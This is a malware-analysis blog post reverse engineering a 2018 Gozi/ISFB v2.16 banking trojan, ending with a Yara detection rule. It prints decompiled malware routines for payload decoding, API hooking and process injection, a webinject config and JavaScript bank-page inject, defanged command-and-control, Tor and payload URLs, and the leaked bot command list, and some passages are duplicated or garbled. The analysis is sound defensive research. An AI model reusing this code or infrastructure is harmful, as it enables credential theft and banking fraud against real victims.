Goal: Reverse engineer and analyze one of the latest Gozi “ISFB” ( also called “Ursnif’” amongst various researchers) banking malware variants focusing on the one of the latest “client.dll” 32-bit (x86) one.
#ursnif @ hxxp://mghl.de/logs/ssl.cabhttps://t.co/RnuXaCrgAz— Racco42 (@Racco42) August 20, 2018
Malware:
Original Packed Loader (MD5: e2476ed98a57bbb14f45fd1e04d4c43c)
Downloaded Tor 32-bit DLL Module (MD5: cc312c797e73d06f397516f9b9d7a438)
Leaked “client.dll” (February 3, 2015) (MD5: 4fe85d04cc4b8602c27973ab3f08b997)
Unpacked Injected “client.dll” (April 14, 2018)(MD5: c23a41c83e82f45b6742ad07218232f9)
Outline:
I. Malware Campaign Spreading “ISFB” Banker
I. Malware Campaign Spreading “ISFB” BankerII. Background on ISFB Banker
III. Differences Between Leaked ISFB and Latest ISFB Variant
IV. Tor Onion Library
V. Stealer Methods
VI. Hooking Method
VII. Browser Process Injection
VIII. Inject Processor
IX. Yara Signature: ISFB “client.dll” (32-bit) version
X. Addendum
A. Extracted ISFB Configuration
B. Hooked APIs
C. Original Commands from Leaked ISFB v2.13
While reviewing one of the latest malware campaign spreading the notable ISFB banker, I decided to dive deeper into this banker malware sample. It is notable that this specific malware campaign was targeting customers of Italian financial institutions. However, this same bot contains webinjects configuration for both US and Canadian financial institutions.
II. Background on ISFB Banker
ISFB Banker malware is one of the oldest and most advanced information-stealing malware tracing some of the code to 2006. The Gozi is traced back to the notable “76Service,” “CRM,” and “Project Blitzkrieg” and others. I highly recommend reading Maciej Kotowiez’s paper titled “ISFB: Still Live and Kicking” before learning more about ISFB banker. Additionally, the ISFB version " Version 2.13.24.1" (February 3, 2015) source code was leaked originally on the criminal underground in 2015. This same was also uploaded by researchers to GitHub.
In the past, the source code of the malware kit was offered for sale for $30,000 USD. However, shortly after, its main actor group offered the code for the following prices:
Minimalistic ISFB: $12,000 USD
Keylogger support: $3,0000 USD
SOCKS support: $3,000 USD
Stealer support: $5, 000 USD
Anti-Rapport: $4,000 USD
VNC support: $8,000 USD
Backconnect support: $3,000 USD
Once the loader injects into the explorer.exe, the malware would subsequently install the client.dll. The malware developers, however, deliberately erased a portion of the PE header and removed named references to imported DLL “kernel32.dll” and “ntdll.dll” making malware analysis just a little bit more complicated.
III. Differences Between Leaked ISFB and Latest ISFB Variant
I decided to take a look at the leaked code and review their client DLL code. It is notable that the leaked ISFB had the version “2.13.24.1” (February 3, 2015), while one of the latest ISFB variant had version of “2.16” (April 14, 2018) with the build id “994.” The observed botnet ID was for the latest sample was “1000.”
The unpacked latest client.dll contains 645 functions with 183 KB size, while the leaked client.dll contains 512 functions with 136 KB size.
The sample leverages “.bss” section and unpacks the code via the following pseudo-coded function:
///////////////////////////////////////////////////////////////
///////// ISFB variant “.bss” DecodeFunction //////////////////
///////////////////////////////////////////////////////////////
int __stdcall bss_decodeFunction(int a1)
v15 = 0;
String1 = 0;
v12 = 0;
v13 = 0;
v14 = 0;
lstrcpynA(&String1, “.bss”, 8);
v1 = decoder(a1, (int)&String1);
v2 = v1;
if ( v1 )
{
v3 = *(_DWORD *)(v1 + 12);
if ( v3 && *(_DWORD *)(v1 + 16) )
{
v4 = *(_DWORD *)(v1 + 16);
v5 = *(_DWORD )“018”;
v6 = ((_DWORD *)“14 2018” ^ *(_DWORD *)“Apr 14 2018” ^ (v4 + v3)) + 14;
v7 = (char *)VirtualAlloc(0, v4, 0x3000u, 4u);
v8 = v7;
if ( v7 )
{
ror4_dec(v7, (char *)(a1 + *(_DWORD *)(v2 + 12)), *(_DWORD *)(v2 + 16), v6, 1);
// “version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s”
v9 = *(_DWORD *)(v2 + 12);
dword_1002B0D4 = *(_DWORD *)(&v8[(_DWORD)aVersionUSoftUU] + -a1 - v9)
+ *(_DWORD *)(&v8[-a1 - v9 + 4] + (_DWORD)aVersionUSoftUU)
- *(_DWORD *)(&v8[-a1 - v9 + 12] + (_DWORD)aVersionUSoftUU);
if ( dword_1002B0D4 == 0x736C6E70 )
memcpy((void *)(a1 + v9), v8, *(_DWORD *)(v2 + 16));
else
v15 = 12;
VirtualFree(v8, 0, 0x8000u);
}
In order to identify and highlight differences, I decided to utilize an open-source plugin tool “Diaphora” for IDA leveraging its decompiler mode.
The binary diff analysis between the latest client.dll versus the leaked one version shows the following results:
Full matches: 259 functions
Partial matches: 72 functions
Unreliable matches: 126 functions
Unmatched functions in the latest client.dll: 21 functions
Unmatched functions in the leaked client32.dll: 188 functions
&ip=%s
&os=%s
&tor=1
%time=%lu
%action=%u
By and large, in general, the ISFB bot<->server communication channels relies on four major ones:
Hardcoded domains
Domain Generation Algorithm (DGA)
Tor Onion Communication
Peer-to-Peer Protocol (P2P)
The URI requests are as follows linked to the same path “soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x”:
“.gif” - obtain a new task, which is linked to “LastTask” registry check
“.jpeg” - obtain a new config, which saves the new config.
It is linked to “Main” registry check, which saves the config.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;While the bot does have a different user-agent string as “Mozilla/5.0 (Windows NT %u.%u%s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36.”
;;;;;;;;;;;;; ISFB Gozi GetLastTask ;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+lpMem]
push eax ; int
xor ebx, ebx
push offset aLasttask ; “LastTask”
mov [ebp+var_14], ebx
call RegQueryValueExFunction
cmp eax, ebx
jnz short loc_100036CC
cmp [ebp+cbData], 8
mov eax, [ebp+lpMem]
jnz short loc_100036BC
mov ecx, [eax]
mov dword ptr [ebp+Data], ecx
mov ecx, [eax+4]
mov [ebp+var_1C], ecx
jmp short loc_10003BA9
The ISFB variant bot heavily relies on registry for storage and queries of tasks including the the following registry query checks for the values of interest:
#define szDataRegDataValue_src _T(“Main”)
#define szDataRegBlockValue_src _T(“Block”)
#define szDataRegTemplate_src _T(“Temp”)
#define szDataRegClientId_src _T(“Client”)
#define szDataRegIniValue_src _T(“Ini”)
#define szDataRegKeysValue_src _T(“Keys”)
#define szDataRegExeValue_src _T(“Install”)
#define szDataRegTaskValue_src _T(“LastTask”)
//#define szDataRegConfigValue_src _T(“LastConfig”)
#define szDataRegTorValue_src _T(“TorClient”)
//#define szDataRegExecValue_src _T(“Exec”)
//#define szDataRegOperaHook_src _T(“OpHook”)
//#define szDataRegCrhromeHook_src _T(“CrHook”)
Additionally, the latest ISFB variant deploys additional system checks in addition to the usual software enumeration via HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ for “net view” command (view of mapped devices, shares) as well as “nslookup myip.opendns.com resolver1.opendns.com” (view of external IP address).
IV. Tor Onion Library
IV. Tor Onion Library
This specific ISFB variant version 2.16 was configured to use the Tor DLL library that was downloaded for either 32-bit or 64-bit architecture for bot<->server communications
The downloaded Tor DLL contains the program database as follows:
C:\Users\mr_wi\OneDrive\Projects\tordll\Release\tordll.pdb
Additionally, the Tor DLL library contained the following four DLL exports:
The downloaded Tor DLL contains the program database as follows:
C:\Users\mr_wi\OneDrive\Projects\tordll\Release\tordll.pdb
Additionally, the Tor DLL library contained the following four DLL exports:
| Name | Address | Ordinal |
|---|---|---|
| TorCloseRequest | 100022D0 | 1 |
| TorCompleteRequest | 10002210 | 2 |
| TorOpenRequest | 10001DF0 | 3 |
| TorSendRequest | 10002100 | 4 |
| DllEntryPoint | 10184402 | [main entry] |
The malware retrieves Tor modules (either 32-bit or 64-bit ones) via the dynamic configuration with the “file://” path
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;; ISFB Gozi Tor “file://” & Communicator Check ;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push ebp ;
mov ebp, esp
push ecx
push ecx ; lpSrch
push ebx ; lpFirst
push esi
mov esi, StrStrIA
push edi
mov edi, eax
push offset Srch ; “file://”
push edi ; lpFirst
call esi ; StrStrIA
xor ebx, ebx
cmp eax, edi
jz short loc_10003B98
push offset a_onion ; “.onion/”
push edi ; lpFirst
call esi ; StrStrIA
test eax, eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+lpMem]
push eax
jz short loc_10003B90
push 1
push ebx
push ebx
push ebx
push ebx
push dword_1002B160
push edi
call sub_1000E0EE
jmp short loc_10003BA9
The following pseudo-coded instruction is responsible for storing the “TorClient” in registry:
///////////////////////////////////////////////////////////////////////
/////// ISFB “TorClient” RegistrySetup excerpt ////////////////////////
///////////////////////////////////////////////////////////////////////
if ( cbData > 0x40000 )
{
v8 = GetTempFileNameA_getcurrentthread(0);
if ( v8 )
{
v2 = registryWriteFile(v8, 0, 0, (int)ImageBase, v7);
if ( !v2 )
{
v9 = lstrlenA(v8) + 1;
rol4(v8, v9, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE )v8, v9, 3u);//“TorClient”
}
HeapFree(hHeap, 0, (LPVOID)v8);
}
else
{
v2 = 8;
}
}
else
{
rol4(ImageBase, cbData, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE )ImageBase, v7, 3u);//TorClient"
}
}
if ( ImageBase )
HeapFree(hHeap, 0, ImageBase);
return v2;
}
V. Stealer Methods
Finally, the ISFB leverages multiple functionality to retrieve certificates, extract cookie information, steal email accounts stored locally.
A. “GET_SYSINFO”
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys via RegEnumKeyExW API to obtain a list of installed software.
B. “GET_CERTS”
The malware hooks CryptGetUserKey API and exports user-specific certificates to “.pfx” file from the Windows certificate store and sends them to the server.
C. “GET_COOKIES”
ISFB tries to obtain cookies from the following browsers, for example:
The ISFB variant also searches for ".sol" files associated with Flash Player cookies.
C. “GET_MAIL”
ISFB harvests and sends to the server Windows Live Mail and Outlook email credentials via local and registry searches of both software and browser store logins focusing on HTTP, IMA, POP3, and SMTP emails stored them in this following format:
Moreover, ISFB also uses known script injects developed by another operator that are called “_brows.cap” with the script name <script name=“fAkEelem’> as follows:
IX. Yara Signature
A. ISFB “client.dll” (32-bit) version
X. AddendumFinally, the ISFB leverages multiple functionality to retrieve certificates, extract cookie information, steal email accounts stored locally.
A. “GET_SYSINFO”
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys via RegEnumKeyExW API to obtain a list of installed software.
B. “GET_CERTS”
The malware hooks CryptGetUserKey API and exports user-specific certificates to “.pfx” file from the Windows certificate store and sends them to the server.
///////////////////////////////////////////////////////////////////////
/////// ISFB “GetCertificates” to .pfx ///////////////////////////////
///////////////////////////////////////////////////////////////////////
CertExportToPfx(“My”, CertFullName);
CertExportToPfx(“AddressBook”, CertFullName);
CertExportToPfx(“AuthRoot”, CertFullName);
CertExportToPfx(“CertificateAuthority”, CertFullName);
CertExportToPfx(“Disallowed”, CertFullName);
CertExportToPfx(“Root”, CertFullName);
CertExportToPfx(“TrustedPeople”, CertFullName);
CertExportToPfx(“TrustedPublisher”, CertFullName);
ISFB tries to obtain cookies from the following browsers, for example:
Internet Explorer (local search as ".txt" in APPDATA\Low)
Mozilla Firefox (local search as Mozilla\Firefox for “cookies.sqlite”)
C. “GET_MAIL”
ISFB harvests and sends to the server Windows Live Mail and Outlook email credentials via local and registry searches of both software and browser store logins focusing on HTTP, IMA, POP3, and SMTP emails stored them in this following format:
type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
Additionally, it issues the command “cmd.exe” /C pause mail" to presumably unlock the retrieval of emails
VI. Hooking Method
While “relaxing” SPDY browser security (e.g., via “user_pref(“network.http.spdy.enabled”, false)” in Mozilla Firefox’s “prefs.js” file), ISFB uses their own user-mode hooking method of various API calls.
For example, the malware hooks various Mozilla Firefox browser APIs and leverages ntdll’s API such as LdrRegisterDllNotification to set and remove DLL load and unload notification call-back, for example.
For example, the malware hooks various Mozilla Firefox browser APIs and leverages ntdll’s API such as LdrRegisterDllNotification to set and remove DLL load and unload notification call-back, for example.
The malware also hooks LoadLibrary, for example, to intercept calls while targeting Chrome and Opera. Additionally, it hooks API as well to bypass SPDY. Other malware hooks include RegGetValueW RegQueryValueExW for querying registry, CreateProcess (4 APIs) hooks for process injection as well as CryptGetUserKey hook for certificate export.
As usual, the malware overwrites the function prologue with the relative JMP opcode (0xe9) to its detour function.
As usual, the malware overwrites the function prologue with the relative JMP opcode (0xe9) to its detour function.
//////////////////////////////////////////////////////
// ISFB Banker ‘EnableHook’ with “0xe9” offset jmp ///
//////////////////////////////////////////////////////
v4 = (void *)lstrlenDecoder(a2, *(LPCSTR *)(a1 + 4), 0, (int)&v12);
lpAddress = v4;
if ( v4 )
{
flNewProtect = 0;
if ( VirtualProtect(v4, 4u, 0x40u, &flNewProtect) )
{
v5 = flOldProtect;
*(_DWORD *)(flOldProtect + 0x18) = a1;
*(_DWORD *)(v5 + 8) = a2 + *(_DWORD *)v4;
*(_DWORD *)(v5 + 12) = v4;
*(_DWORD *)(v5 + 16) = *(_DWORD *)v4;
v14 = HookVirtual_recurs(a2, v5, a1, a3);
if ( v14 == 1 )
{
if ( dword_1002B070 )
{
v6 = func8DecoderHeapFree(a2, *(_DWORD *)(v5 + 8));
if ( v6 )
{ // Set up the function for “PAGE_EXECUTE_READWRITE” w/ VirtualProtect
if ( VirtualProtect((LPVOID)v6, 5u, 0x40u, &flOldProtect) )
{
*(_DWORD *)(v6 + 1) = *(_DWORD *)(v5 + 20) - v6 - 5;
*(_BYTE *)v6 = 0xE9u; // “0xe9” opcode for a jump with 32-bit relative
*(_DWORD *)(v5 + 0x14) = v6;
*(_DWORD *)(a1 + 0xC) = v6;
if ( flOldProtect != 0x40 )
flOldProtect = 0x20;
VirtualProtect((LPVOID)v6, 5u, flOldProtect, &flOldProtect);
}
}
}
(_DWORD )lpAddress = (_DWORD )(v5 + 20) - a2;
VirtualProtect(lpAddress, 4u, flNewProtect, &flNewProtect);
(_DWORD )(v5 + 28) |= 0x102u;
if ( (_WORD )(v5 + 28) & 0x200 )
VirtualProtectMain(v7, (const CHAR )v12, v5);
EnterCriticalSection(&stru_1002B220);
v8 = dword_1002B218;
(_DWORD )v5 = dword_1002B218;
(_DWORD )(v5 + 4) = &dword_1002B218;
v8[1] = v5;
dword_1002B218 = (LPVOID)v5;
LeaveCriticalSection(&stru_1002B220);
(_DWORD )(a1 + 16) = a2 + (_DWORD )(v5 + 16);
v14 = 0;
v9 = ZwQueryInformationProcess2(a2);
VII. Browser Process Injection
One of the notable malware component is its process injection routine that deals with “client” DLL injection. The process injection works around CreateProcess hooks created set up by the malware.
For example, the malware sets up their CreateProcessW with the function prototype having the suspended flag (ox4) and the subsequent process injection into the process. The idea is to suspend processes before they start, inject the malware DLL into them, and resume them.
ISFB also uses a pretty clever trick to make sure processes of interest are not hooked too early, i.e., before their main thread execution. The malware simply hacks a way to patch via ReadProcessMemory/WriteProcessMemory original entry point (OEP) and wait until it loads and then restore before unmapping the executable in the process memory and resuming it. This similar method is also referenced in the leaked ISFB.
For example, the malware sets up their CreateProcessW with the function prototype having the suspended flag (ox4) and the subsequent process injection into the process. The idea is to suspend processes before they start, inject the malware DLL into them, and resume them.
//////////////////////////////////////////////////////
// ISFB Banker CreateProcess “OEP” Patch Until Main ///
//////////////////////////////////////////////////////
signed int __userpurge ProcessInjectDll(int a1, int a2, char a3, void a4)
{
lpProcessInformation_thread = a1;
v15 = 0;
memset(&v16, 0, 0x2C8u);
hProcess = (HANDLE )lpProcessInformation_thread;
v6 = (void **)lpProcessInformation_thread;
origin_patch = 0xCCCCFEEB;
intArchitect = 0;
if ( open_proc_x86_x64(v6, 0) ) // Check if process x64/x86
{
intArchitect = 0x10;
}
else if ( orig_patch & 1 )
{
oep = GetProcessEntry(a2);
goto LABEL_19;
}
v15 = 0x10007;
oep_1 = a4;
if ( !a4 )
oep_1 = (LPVOID)ZwQuery_RtlNtStatusToDosError_0((HANDLE )lpProcessInformation_thread);
if ( ReadProcessMemory(hProcess, oep_1, &original_1, 4, &NumberOfBytesRead)
&& NumberOfBytesRead == 4
&& PatchMemory(hProcess, oep_1, (int)&origin_patch) )// sizeof(0xCCCCFEEB) -> patch
{
v10 = 3000;
do
{
ResumeThread((HANDLE )(lpProcessInformation_thread + 4));
if ( WaitForSingleObject(hHandle, 0x64u) != 0x102 )
v10 = 0x64;
SuspendThread((HANDLE )(lpProcessInformation_thread + 4));
v10 -= 0x64;
RtlNtStatusToDosErrorMain((_DWORD )(lpProcessInformation_thread + 4), (int)&v15);
} // Unmap injected image in memory of the process NtUnmapViewofSection /WriteProcessMemory
while ( v10 > 0 && v17 != oep_1 );
if ( v17 == oep_1 )
oep = injectImageUnmap(a2, (HANDLE )lpProcessInformation_thread, intArchitect, 0);
else
oep = 0x261;
PatchMemory(hProcess, oep_1, (int)&original_1);// restore -> original OEP bytes
LABEL_19:
if ( oep != 0xFFFFFFFF )
goto LABEL_21;
}
oep = GetLastError();
LABEL_21:
if ( !(a3 & 4) )
ResumeThread((HANDLE )(lpProcessInformation_thread + 4));
return oep;
}
VIII. Inject Processor
The ISFB variant leverages the following key logic elements for credential-stealing functionality and uses them for webinject and replica control:
One of the more interesting features of the malware is on-demand video-recording victim visits to specific websites usually for 3 minutes with VIDEO parameters @VIDEO@=7,180. Indeed, ISFB utilizes imported Avifil32.dll and various AVI functions to record data to a stream saving it locally and exfiltrating it later to the server in order to review it for the possible account takeover fraud.@ID@ -> bot id (victim host identity)
@GROUP@ -> group id (group id of the bot)
@RANDSTR@ -> random string
@URL=@ -> targeted financial institutions
@CONFIG=@ -> configuration
@VIDEO=@ -> video to record once the victim visit the page of interest
@SOCKS=@ -> connect SOCKS server
@VNC=@ -> connect VNC
As mentioned earlier, this specific campaign targeted customers of Italian, Canadian, and US financial institutions. The webinject injects in their config are stored in the registry and are presented in the following own format, for example.
/////////////////////////////////////////////////////////
////////////////// ISFB WebInject Config Example ////////
/////////////////////////////////////////////////////////
{
“url”: "<TARGETED_FINANCIAL_INSTITUTION>",
“pattern”: "<!DOCTYPE<body>",
“replace_to”: "<!DOCTYPE<bodystyle=‘display: none;’><script type=‘text/javascript’<br />id=‘script_id’ src=‘/@ID@/script.js?<br />x=@ID@&y=@GROUP@&d=@ID@&bname=<TARGETED_FINANCIAL_INSTITUTION>&v=@VIDEO’></script>",
“url_pattern”: “”,
“replace_url_to”: “”,
“option”: “”
}Moreover, ISFB also uses known script injects developed by another operator that are called “_brows.cap” with the script name <script name=“fAkEelem’> as follows:
/////////////////////////////////////////////////////////
////////////////// Inject Excerpt ///////////////////////
/////////////////////////////////////////////////////////
var wdebug = 0;
var replacer_run_count = 0;
var bot_nick = “@ID@”;
var account_id;
String.prototype.fAkElink=“INJECT_SERVER”;
String.prototype.fAkEstyle=document.createElement(“style”);
String.prototype.fAkEcss=‘body{visibility:hidden;}’;
‘’.fAkEstyle.setAttribute(“type”, “text/css”);
if(‘’.fAkEstyle.styleSheet){// IE
‘’.fAkEstyle.styleSheet.cssText = ‘’.fAkEcss;
} else {// w3c
String.prototype.fAkEcssText = document.createTextNode(‘’.fAkEcss);
‘’.fAkEstyle.appendChild(‘’.fAkEcssText);
}
if(document.domain.search(/<TARGETED_BANK_URL/g)>-1){
document.getElementsByTagName(“head”)[0].appendChild(‘’.fAkEstyle);
String.prototype.fAkEstart=function(){
if((document.readyState&&document.readyState==“complete”)||<br />(document.body&&document.body.readyState==“complete”)){
if(document.body&&document.body.nodeName.toUpperCase()!=“FRAMESET”){
if(!document.getElementById(“js_com_1_qweqwe”)){<br />
String.prototype.fAkETitle=
document.getElementsByTagName(‘title’).length>0?document.getElementsByTagName(‘title’)[0].innerHTML:“doc. have frame”;
‘’.fAkEMakeElem(“c=1&at=2&n=@ID@&b=TARGETED_BANK_URL/”+”&d=“+encodeURIComponent(document.domain)
+”&doc_url=“+encodeURIComponent(document.location.href)+”&doc_title=“+encodeURIComponent(‘’.fAkETitle)+”&r="+Number(new Date()),
function(){document.body.style.visibility = “visible”;},“script”,“js_com_1_qweqwe”,false);
};
}else{
document.body.style.visibility = “visible”;
}
}else{setTimeout(function(){‘’.fAkEstart()},1000);}
};‘’.fAkEstart();
}
A. ISFB “client.dll” (32-bit) version
rule crime_win32_isfb_v216_tor_client_dll {
meta:
description = “Detecs Unpacked Gozi ISFV v. 2.16 variant client32.dll”
author = “@VK_Intel”
date = “2018-08-25”
hash1 = “5df8714c8ab4675681d45f5cc1408ce734010ccf179fb6386304e6194568b60a”
strings:
$x1 = “.bss” fullword ascii
$s1 = “PluginRegisterCallbacks” fullword ascii
$s2 = “Client” fullword ascii
$s3 = “TorClient” fullword ascii
$s4 = “client.dll” fullword ascii
$s5 = “.jpeg” fullword ascii
$s6 = “.bmp” fullword ascii
$s7 = "nslookup myip.opendns.com resolver1.opendns.com " fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 500KB and
( 1 of ($x) and 4 of them )
) or ( all of them )
}A. Extracted ISFB Configuration
Config Fail Timeout [u’1200’]
Send Timeout [u’240’]
Knocker Timeout [u’300’]
DGA Season [u’10’]
Botnet ID [u’1000’]
DGA TLDs [[u’com’, u’ru’, u’org’]]
IP Service [u’curlmyip[.]net’]
BC Timeout [u’10’]
Timer [u’20’]
Server [u’110’]
64-bit DLL URLs [[u’zjsgyyq[.]com/leader/pdf.zip’, u’portaldobomretiro[.]net/wp-admin/network/2.bin’, u’colourshield[.]com/m1/pdd.rtf’, u’mukeshjshah[.]com/admuin/litecoin.rar’, u’petras[.]name/fotos/zek.dmg’, u’sbmpowisle.dag[.]pl/js/989999.sh’, u’cdn.robatop[.]at/jvassets/zarch/xx.dmg’]]
Encryption key [u’Nf6lU8d5X0i1Wr7V’]
Value 11 [u’1’]
Config Timeout [u’1200’]
DGA CRC [u’0x4eb7d2ca’]
Domains [[u’inc.robatop[.]at/wpapi’, u’torafy[.]cn/wpapi’, u’app.tohio[.]at/wpapi’, u’scr.tohio[.]at/wpapi’, u’yraco[.]cn/wpapi’, u’poi.robatop[.]at/wpapi’, u’login.cdrome[.]at/wpapi’, u’az.popdel[.]at/wpapi’, u’io.ledal[.]at/wpapi’, u’in.ledal[.]at/wpapi’, u’api.galio[.]at/wpapi’, u’ssl.lottos[.]at/wpapi’, u’harent[.]cn/wpapi’]]
DGA Base URL [u’constitution[.]org/usdeclar.txt’]
Task Timeout [u’240’]
TOR Domains [[u’4fsq3wnmms6xqybt[.]onion/wpapi’, u’em2eddryi6ptkcnh[.]onion/wpapi’, u’nap7zb4gtnzwmxsv[.]onion/wpapi’, u’t7yz3cihrrzalznq[.]onion/wpapi’]]
32-bit DLL URLs [u’zjsgyyq[.]com/leader/doc.zip’, u’portaldobomretiro[.]net/wp-admin/network/1.bin’, u’colourshield[.]com/m1/dll.rtf’, u’mukeshjshah[.]com/admuin/coin.rar’, u’petras[.]name/fotos/dash.dmg’, u’sbmpowisle.dag[.]pl/js/757575.sh’, u’cdn.robatop[.]at/jvassets/zarch/x.rar’]]
B. Hooked APIs
Mozilla Firefox:
PR_Read
PR_Write
PR_Close
PR_Poll
Internet Explorer:
InternetReadFile
InternetWriteFile
InternetReadFileExA
InternetReadFileExW
HttpSendRequestA
HttpSendRequestW
HttpSendRequestExA
HttpSendRequestExW
InternetCloseHandle
InternetQueryDataAvailable
InternetStatusCallback
InternetConnectA
InternetConnectW
HttpQueryInfoA
HttpQueryInfoW
HttpAddRequestHeadersA
HttpAddRequestHeadersW
HttpOpenRequestW
InternetSetStatusCallback
Windows Explorer:
CreateProcessA
CreateProcessW
CreateProcessAsUserA
CreateProcessAsUserW
Windows Explorer:
RegGetValueW
RegQueryValueExW
Google Chrome & Opera Browser:
WSARecv
WSASend
closesocket
recv
LoadLibraryExW
Advapi32.dll:
CryptGetUserKey
GET_CERTS - экспортировать и выслать сертификаты, установленные в системном хранилище Windows.
Для XP выгружает, также, неэкспортируемые сертификаты.
GET_COOKIES - собрать cookie FF и IE, SOL-файлы Flash, упаковать их с сохранением структуры
каталогов и выслать на сервер.
CLR_COOKIES - удалить cookie FF и IE, SOL-файлы Flash.
GET_SYSINFO - собрать системную информацию: тип процессора, версию ОС, список процессов, список
драйверов, список установленных программ.
KILL - убить ОС (работает только с правами администратора)
REBOOT - перезагрузить ОС
GROUP=n - сменить ID группы бота на n
LOAD_EXE=URL - загрузить файл с указанного URL и запустить его
LOAD_REG_EXE=URL- загрузить файл с указанного URL, зарегистрировать его в autirun и запустить
LOAD_UPDATE=URL - загрузить апдейт программы и запустить
GET_LOG - отправить внутренний лог на сервер
GET_FILES= - найти все файлы, соответствующие заданной маске, и отправить на сервер
SLEEP=n - остановить обработку очереди команд на n миллисекунд. (используется при долгих операциях)
SEND_ALL - отправить все данные из очереди на отправку немедленно. В противном случае, данные оправляются
по таймеру.
LOAD_DLL=URL[,URL] - загрузить по указанному URL DLL и инжектить её в процесс explorer.exe.
первый URL для 32х-битной DLL, второй - для 64х-битной.
SOCKS_START=IP:PORT - запустить сокс4\5 сервер (при его наличии)
SOCKS_STOP - остановить сокс4\5 сервер
GET_KEYLOG - отправить данные кейлоггера (при его наличии)
GET_MAIL - активировать граббер E-Mail (при наличии) и отправить, полученные от него, данные
GET_FTP - активировать граббер FTP (при наличии) и отправить, полученные от него, данные
SELF_DELETE - удалить софт из системы, включая все файлы и ключи реестра
URL_BLOCK=URL - заблокировать доступ ко всем URL удовлетворяющим заданной маске
URL_UNBLOCK=URL - разблокировать доступ к URL, удовлетворяющим заданной маске, ранее заблокированным командой URL_BLOCK
FORMS_ON - включить граббер HTTP форм (если есть дефайн _ALWAYS_HTTPS, то граббер HTTPs остаётся включен всегда)
FORMS_OFF - отключить граббер HTTP форм
KEYLOG_ON[= list] - включить кейлог, для заданного списка процессов
KEYLOG_OFF - отключить кейлог
LOAD_INI=URL - загрузить упакованный INI-файл с указанного URL, сохранить его в рееестре и использовать вместо INI-файла,
прикреплённого к софту с помощью билдера. INI-файл должен быть упакован и подписан.
LOAD_REG_DLL = name, URL[,URL] - загрузить DLL по указанному URL, сохранить её под заданным именем и зарегистрировать для
автоматической загрузки после каждого запуска системы
UNREG_DLL = name - удалить из автоматической загрузки DLL c заданным именем
Article Link: https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html